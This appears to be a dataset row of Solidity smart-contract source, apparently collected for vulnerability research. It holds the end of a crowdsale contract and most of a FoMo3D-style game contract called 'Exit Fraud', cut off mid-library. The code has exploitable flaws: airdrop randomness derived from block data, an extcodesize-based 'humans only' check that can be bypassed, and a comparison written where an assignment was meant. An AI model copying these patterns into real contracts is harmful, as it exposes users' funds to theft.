require(_mainSaleStartTime < _mainSaleEndTime);
mainSaleStartTime = _mainSaleStartTime;
mainSaleEndTime = _mainSaleEndTime;
return true;
}
function applyBonus(uint256 weiAmount) internal constant returns (uint256 bonusedTokens) {
uint256 tokensToAdd = 0;
uint256 tokens = weiAmount.mul(rate);
for(uint8 i = 0; i < amountBonuses.length; i++){
if(weiAmount < amountBonuses[i].amount){
tokensToAdd = tokens.mul(amountBonuses[i].percent).div(100);
return tokens.add(tokensToAdd);
}
}
return tokens.mul(120).div(100);
}
function fetchFunds() onlyOwner public {
wallet.transfer(this.balance);
}
} | 1 | 3,144 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularShort is F3Devents {}
contract ExitFraud is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x5F62d3685b9f420C6e87549c92Cf6F91af018297);
address private admin1 = 0xdcfd5C7B10ce65598d8B13dFABcacE9c3889298C;
address private admin2 = msg.sender;
string constant public name = "Exit Fraud";
string constant public symbol = "EXITF";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(35,0);
fees_[1] = F3Ddatasets.TeamFee(65,0);
fees_[2] = F3Ddatasets.TeamFee(58,0);
fees_[3] = F3Ddatasets.TeamFee(45,0);
potSplit_[0] = F3Ddatasets.PotSplit(7,0);
potSplit_[1] = F3Ddatasets.PotSplit(12,0);
potSplit_[2] = F3Ddatasets.PotSplit(22,0);
potSplit_[3] = F3Ddatasets.PotSplit(27,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(20)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin1.transfer(_com.sub(_com / 2));
admin2.transfer(_com / 2);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 50;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d = 0;
if (!address(admin1).call.value(_com.sub(_com / 2))())
{
_p3d = _p3d.add(_com.sub(_com / 2));
}
if (!address(admin2).call.value(_com / 2)())
{
_p3d = _p3d.add(_com / 2);
}
_com = _com.sub(_p3d);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
admin1.transfer(_aff.sub(_aff / 2));
admin2.transfer(_aff / 2);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
round_[_rID].pot = round_[_rID].pot.add(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(15)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require((msg.sender == admin1 || msg.sender == admin2), "only admin can activate");
require(activated_ == false, "already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
